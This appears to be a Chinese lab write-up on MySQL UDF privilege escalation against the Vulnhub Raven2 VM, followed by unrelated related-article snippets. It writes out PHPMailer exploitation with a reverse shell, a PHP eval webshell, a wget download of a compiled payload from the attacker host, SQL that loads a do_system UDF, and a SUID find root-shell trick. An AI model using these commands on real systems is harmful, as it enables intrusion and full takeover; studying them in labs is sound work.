当前位置: 首页 > news >正文

MySQL之UDF提权复现

什么是UDF:

UDF(Userfined function)用户自定义函数,是MySQL的一个扩展接口,用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用。

提权条件:

  • 知道MySQL用户名和密码,可以登录
  • MySQL有写入文件权限,即 secure_file_priv 的值为空

注意:使用 UDF 提权是在获取到 webshell 的前提下,获取到的用户只是网络服务权限 www 或其他普通用户,我们可以利用 mysql 的 UDF 提权获取到管理员权限。

如何使用UDF提权

  • MySQL版本 >= 5.1版本:udf.dll(udf.so)文件必须放置于MySQL安装目录下的 lib\plugin 文件夹下

  • MySQL版本 < 5.1版本:udf.dll 文件放置于 c:\windows 或者 c:\system32

如果目录不存在则利用 NTFS 数据流创建文件目录

udf提权可以用于 windows 系统(udf.dll)也可以用于linux平台(udf.so)。但 udf 提权基本上用于 windows 系统,linux系统中 mysql版本 < 5.1 udf.so 该放哪里网上查找也没有得到结果。

靶场复现

通过 vulnhub 下载靶场镜像

靶机地址:https://download.vulnhub.com/raven/Raven2.ova

  • 攻击机kali(192.168.111.129)
  • 靶机Raven2(192.168.111.132)
信息收集

nmap扫描端口开放情况

 nmap 192.168.111.132 -sV -p- -Pn

在这里插入图片描述
发现开放了22,80,111,58686端口,操作系统为Linux。

访问80端口:
在这里插入图片描述
dirsearch 扫描一下目录:
在这里插入图片描述
发现靶机是 wordpress (可以用wpscan扫描有没有wordpress漏洞)。

此外还发现另外一个目录/vendor目录,访问目录发现存在信息泄露

在这里插入图片描述
通过 README.md 文件得知为 phpmailer,百度 phpmailer 知道是一个php发送邮件的程序,且版本小于 5.2.18 存在漏洞远程命令执行漏洞,查看当前 version 版本为 5.2.16
在这里插入图片描述

phpmailer漏洞利用

使用 python 脚本,复制脚本到桌面,将 target 改为目标IP,后面拼接 contact.php(该文件应该是PHPMailer服务接口),backdoor 为生成的后门文件,payload 改为 kali 的 ip 和监听的端口,email那把路径改为目标的网站根目录,可以在 /vendor/PATH 中找到。
在这里插入图片描述
修改完成后执行。

 python 40974.py  

在这里插入图片描述
先开启 nc 监听接收shell,然后浏览器访问生成的后门文件,终端回显,getshell成功。(这里后门文件名应该有限制,默认生成不了,改为1.php后成功了)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
执行 whoami 发现为 www-date 权限

使用 python 执行交互式 shell

python -c 'import pty;pty.spawn("/bin/bash")'

也可以写一句话用菜刀蚁剑连接方便操作

echo '<?php @eval($_POST['s']);?>' >2.php

进入wordpress目录内查看wp的配置文件wp-config.php,发现数据库用户名与密码。
在这里插入图片描述
账号 root,密码 R@v3nSecurity

使用得到的用户名密码登录mysql

mysql -uroot -pR@v3nSecurity

在这里插入图片描述
在user表中发现了其他用户名与密码,但是加密的密码没有破解出来。所以换个思路尝试下UDF提权。

MySQL-UDF提权利用

首先查找漏洞,并下载漏洞利用脚本1518.c

searchsploit udfsearchsploit udf -m 1518.c

在这里插入图片描述
下载 udf 提权脚本,在 kali 使用 gcc 编译成 Linux 所需 udf 提权的so文件。

gcc -g -c 1518.cgcc -g -shared -o 1518.so 1518.o

将编译后的1518.so上传到靶机 /tmp 目录内。

python3 -m http.server 8888 wget 192.168.111.129:8888/1518.so

在这里插入图片描述
登录 mysql 切换数据库 wordpress 并创建新表 foo。

create table foo(line blob); #创建数据表insert into foo values(load_file('/tmp/1518.so')); #读取 1518.so 并将其保存在表foo中select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
#查询刚才添加的数据,保存到/usr/lib/mysql/plugin/1518.so文件(mysql存放自定义函数的地方)create function do_system returns integer soname '1518.so';
#加载 1518.so 函数文件用来创建自定义函数,类型是integer,soname 别名 select * from mysql.func; #查询函数是否创建成功select do_system('chmod u+s /usr/bin/find'); #调用自定义函数do_system赋予find命令suid权限。

在这里插入图片描述

select do_system('chmod u+s /usr/bin/find'); #调用自定义函数do_system赋予find命令suid权限。

在这里插入图片描述
准备工作完成后退出数据库,使用find命令进行提权。

mysql> quit
​
find / -exec "/bin/sh" \;
#find /:从根目录开始查找。
#-exec:表示对找到的每个文件执行后面的命令。
#"/bin/sh":这是要执行的命令,即启动一个新的 shell 实例。
#\;:表示 -exec 命令的结束。

在这里插入图片描述
根据结果可以看到提权成功

相关文章:

MySQL之UDF提权复现

什么是UDF&#xff1a; UDF(Userfined function)用户自定义函数&#xff0c;是MySQL的一个扩展接口&#xff0c;用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能&#xff0c;其添加的新函数都可以在 SQL 语句中调用。 提权条件&#xff1a; 知道MySQL用户名和密码…...

html记账本改写:保存数据 localStorage。

<!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><title>记账本改写</title><style>table {user-select: none;/* width: 100%; */border-collapse: collapse;}table,th,td {border: 1px solid…...

frida检测绕过-libmsaoaidsec.so

libmsaoaidsec.so 部分检测手段 检测机制在native层实现一般在init_proc()函数中触发使用 pthread_create 创建2个检测线程 绕过: nop pthread_create 的调用 eg: 在 bilibil1 - v7.26.1版本中, 在got表导入了pthread_create 绕过: 替换dlsym(xx, "pthread_create "…...

Splasthop 安全远程访问帮助企业对抗 Cobalt Strike 载荷网络攻击

一、背景 根据 FreeBuf&#xff08;标题为&#xff1a;潜藏系统2个月未被发现&#xff0c;新型网络攻击瞄准中国高价值目标&#xff09;和 The Hacker News&#xff08;标题为&#xff1a;New Cyberattack Targets Chinese-Speaking Businesses with Cobalt Strike Payloads&a…...

Rust:Restful API 服务程序开发详述

0. 关于异步程序设计 0.1 对异步机制的理解 运行效率对于后端程序来讲很重要。我曾经以为&#xff0c;多线程机制是后端设计的终极方法&#xff0c;后来才发现&#xff0c;异步机制才是榨干 CPU 运行效率资源的关键所在。 我最初对于异步程序设计有误解&#xff0c;以为多线…...

《Cloud Native Data Center Networking》(云原生数据中心网络设计)读书笔记 -- 09部署OSPF

本章的目的是帮助网络工程师确定网络的理想 OSPF 配置。本章将回答以下问题 应何时在数据中使用OSPF ?配置 OSPF 的关键设计原则是什么?OSPFv2 和 OSPFv3 之间有什么区别&#xff0c;应如何使用?如何在路由协议栈中配置 OSPF ?如何在服务器上配置 OSPF&#xff0c;例如为容…...

【Visual Studio 报错】未加载 wntdll.pdb(一种可行的解决办法)

调试程序时&#xff0c;会出现下面这个报错 分析原因&#xff1a; 出现未加载 wntdll.pdb 报错大概率是你的指针使用错误 &#xff0c;比如使用野指针、越界访问、或者堆区空间释放方式错误等。 这里以 堆区空间释放方式错误 为例子 1、堆区开辟的数组空间使用 delete 释放 …...

P1332 血色先锋队

[题目通道](血色先锋队 - 洛谷) #include<bits/stdc.h> using namespace std; int n,m,a,b,xa[114514],ya[114514],xb[114514],yb[114514],maxx[114514]; int main() {cin>>n>>m>>a>>b;for(int i1;i<a;i)cin>>xa[i]>>ya[i];for(…...

HarmonyOS】ArkTS学习之基于TextTimer的简易计时器的elapsedTime最小时间单位问题

本文旨在纪录自己对TextTimer使用过程的疑惑问题 我在查看教程时候&#xff0c;发现很多博客在onTimer(event: (utc: number, elapsedTime: number) > void) 这里提到elapsedTime&#xff1a;计时器经过的时间&#xff0c;单位为毫秒。我不清楚是否为版本问题。 在我查看ver…...

函数指针学习

认识函数指针&#xff1a; 函数指针的用处&#xff1a; 回调函数&#xff08;以函数指针为参数的参数&#xff09; 定义带标签的结构体 typedef struct mode { int data; } Node; 标签&#xff08;mode&#xff09;: mode 是结构体的标签名。在这种定义中&#xff0c;mo…...

『功能项目』武器的切换实例【34】

本章项目成果展示 我们打开上一篇33战士的A键连击的项目&#xff0c; 本章要做的事情是按键盘E键切换职业时切换手中的武器 首先在资源商店下载免费的武器模型 创建一个空物体 命名为WeaponPos 将武器预制体拖拽至WeaponPos &#xff08;注意调整空物体位置就可以后续文章会更…...

github中action作用和讲解

1&#xff0c;简介 GitHub Actions 是 GitHub 的一个自动化功能&#xff0c;它允许你在 GitHub 仓库中自动执行软件开发工作流程。你可以使用 GitHub Actions 来执行各种任务&#xff0c;比如&#xff1a; 自动测试&#xff1a;每当代码被推送到仓库时&#xff0c;自动运行测试…...

数据库管理-第238期 23ai:全球分布式数据库-架构与组件(20240904)

数据库管理238期 2024-09-04 数据库管理-第238期 23ai&#xff1a;全球分布式数据库-架构与组件&#xff08;20240904&#xff09;1 架构图2 分片数据库与分片3 Shard Catalog4 Shard Director5 Global Service6 管理界面总结 数据库管理-第238期 23ai&#xff1a;全球分布式数…...

GIT | git提交注释自动添加信息头

GIT | git提交注释自动添加信息头 时间&#xff1a;2024年9月6日10:20:11 文章目录 GIT | git提交注释自动添加信息头1.操作2.commit-msg文件 1.操作 2.commit-msg文件 #!/bin/sh # # An example hook script to check the commit log message. # Called by "git commit&q…...

React 全屏问题解决方案

1、全屏下弹窗被遮挡的问题 参考&#xff1a;https://www.jianshu.com/p/b22d1ad9533e 原因&#xff1a; 需要全屏的节点部分被传入 screenfull 中&#xff0c;弹窗的层级永远低于全屏&#xff0c;所以被遮挡。 解决方法&#xff1a; 方式1&#xff1a;把整个 body 全屏&…...

Java JVM 垃圾回收算法详解

Java 虚拟机&#xff08;JVM&#xff09;是运行 Java 应用程序的核心&#xff0c;它的垃圾回收&#xff08;Garbage Collection, GC&#xff09;机制是 JVM 中非常重要的一个部分。垃圾回收的主要任务是自动管理内存&#xff0c;回收那些不再被使用的对象&#xff0c;从而释放内…...

hadoop dfs web页面访问增加鉴权

前言 装好了Hadoop&#xff0c;通过浏览器访问&#xff0c;发现竟然不需要鉴权就能访问&#xff0c;且暴露了很多服务器层文件路径信息&#xff0c;基于多年积累的安全意识&#xff0c;必须得配置些鉴权信息&#xff0c;就有了该文&#xff0c;仅做学习记录&#xff0c;下次自…...

LCP 485. 最大连续 1 的个数[lleetcode -11]

从今天起&#xff0c;我们的算法开始研究搜索&#xff0c;首先就是DFS深度优先搜索&#xff08;depth-first seach&#xff0c;DFS&#xff09;在搜索到一个新的节点时&#xff0c;立即对该新节点进行遍 历&#xff1b;因此遍历需要用先入后出的栈来实现&#xff0c;也可以通过…...

关于宏任务的说法已经过时

关于宏任务w3c的最新解释&#xff0c;&#xff08;mdn已经搜不到宏任务队列&#xff09; ● 每个任务都有一个任务类型&#xff0c;用一个类型的任务必须在一个队列&#xff0c;不同类型的任务可以分属不同的队列。在一次事件循环当中&#xff0c;浏览器可以根据实际情况从不同…...

Java箱与泛型

大O的渐进表示法 大 O 的渐进表示法 去掉了那些对结果影响不大的项 &#xff0c;简洁明了的表示出了执行次数。 void func1(int N){ int count 0; for (int i 0; i < N ; i) { for (int j 0; j < N ; j) { count; } } for (int k 0; k < 2 * N ; k) { count; } in…...

uniapp 对接腾讯云IM群组成员管理(增删改查)

UniApp 实战&#xff1a;腾讯云IM群组成员管理&#xff08;增删改查&#xff09; 一、前言 在社交类App开发中&#xff0c;群组成员管理是核心功能之一。本文将基于UniApp框架&#xff0c;结合腾讯云IM SDK&#xff0c;详细讲解如何实现群组成员的增删改查全流程。 权限校验…...

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…...

Zustand 状态管理库:极简而强大的解决方案

Zustand 是一个轻量级、快速和可扩展的状态管理库&#xff0c;特别适合 React 应用。它以简洁的 API 和高效的性能解决了 Redux 等状态管理方案中的繁琐问题。 核心优势对比 基本使用指南 1. 创建 Store // store.js import create from zustandconst useStore create((set)…...

Java如何权衡是使用无序的数组还是有序的数组

在 Java 中,选择有序数组还是无序数组取决于具体场景的性能需求与操作特点。以下是关键权衡因素及决策指南: ⚖️ 核心权衡维度 维度有序数组无序数组查询性能二分查找 O(log n) ✅线性扫描 O(n) ❌插入/删除需移位维护顺序 O(n) ❌直接操作尾部 O(1) ✅内存开销与无序数组相…...

Go 语言接口详解

Go 语言接口详解 核心概念 接口定义 在 Go 语言中&#xff0c;接口是一种抽象类型&#xff0c;它定义了一组方法的集合&#xff1a; // 定义接口 type Shape interface {Area() float64Perimeter() float64 } 接口实现 Go 接口的实现是隐式的&#xff1a; // 矩形结构体…...

【2025年】解决Burpsuite抓不到https包的问题

环境&#xff1a;windows11 burpsuite:2025.5 在抓取https网站时&#xff0c;burpsuite抓取不到https数据包&#xff0c;只显示&#xff1a; 解决该问题只需如下三个步骤&#xff1a; 1、浏览器中访问 http://burp 2、下载 CA certificate 证书 3、在设置--隐私与安全--…...

用docker来安装部署freeswitch记录

今天刚才测试一个callcenter的项目&#xff0c;所以尝试安装freeswitch 1、使用轩辕镜像 - 中国开发者首选的专业 Docker 镜像加速服务平台 编辑下面/etc/docker/daemon.json文件为 {"registry-mirrors": ["https://docker.xuanyuan.me"] }同时可以进入轩…...

【C++从零实现Json-Rpc框架】第六弹 —— 服务端模块划分

一、项目背景回顾 前五弹完成了Json-Rpc协议解析、请求处理、客户端调用等基础模块搭建。 本弹重点聚焦于服务端的模块划分与架构设计&#xff0c;提升代码结构的可维护性与扩展性。 二、服务端模块设计目标 高内聚低耦合&#xff1a;各模块职责清晰&#xff0c;便于独立开发…...

大学生职业发展与就业创业指导教学评价

这里是引用 作为软工2203/2204班的学生&#xff0c;我们非常感谢您在《大学生职业发展与就业创业指导》课程中的悉心教导。这门课程对我们即将面临实习和就业的工科学生来说至关重要&#xff0c;而您认真负责的教学态度&#xff0c;让课程的每一部分都充满了实用价值。 尤其让我…...

Springboot社区养老保险系统小程序

一、前言 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;社区养老保险系统小程序被用户普遍使用&#xff0c;为方…...